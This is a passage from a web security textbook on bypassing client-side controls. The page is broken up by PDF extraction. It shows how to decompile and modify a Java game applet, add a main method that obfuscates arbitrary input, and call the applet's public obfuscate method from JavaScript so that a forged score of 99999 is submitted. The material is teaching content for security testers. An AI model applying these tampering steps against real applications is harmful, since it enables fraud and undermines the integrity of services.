The Web Application Hacker’s Handbook Discovering and Exploiting Security Flaws

Chapter 5 

■

Bypassing Client-Side Controls

115

70779c05.qxd:WileyRed  9/16/07  5:14 PM  Page 115

---

HTML page to load the modified applet in place of the original. For

example, you could change the 

getObsScore

method to:

return obfuscate(“99999|0.123456789”);

To recompile your modified code, you should use the Java compiler

javac

provided with Sun’s Java SDK.

■■

You can add a main method to the decompiled source to provide the

functionality to obfuscate arbitrary inputs:

public stati

c void main(String[] args)

{

System.out.println(obfuscate(args[0]));

}

You can then run the recompiled byte code from the command line to

obfuscate any score you like:

E:\>java JavaGame “99999|0.123456789

“

6ca4363a3e42468d45474e53585d62676c7176

■■

You can review the public methods exposed by the applet to determine

whether any of them can be leveraged to achieve your objectives with-

out actually modifying the applet. In the present case, you can see that

the 

obfuscate

method is marked as public, meaning that you can call it

directly from JavaScript with arbitrary input. Hence, you can submit

your chosen score simply by modifying the source code of the HTML

page as follows:

function p

lay()

{

alert(“you scored “ + TheApplet.getScore());

document.location = “submitScore.jsp?score=” +

TheApplet.obfuscate(“99999|0.123456789”) + “&name=” +

document.playForm.yourName.value;

}

T I P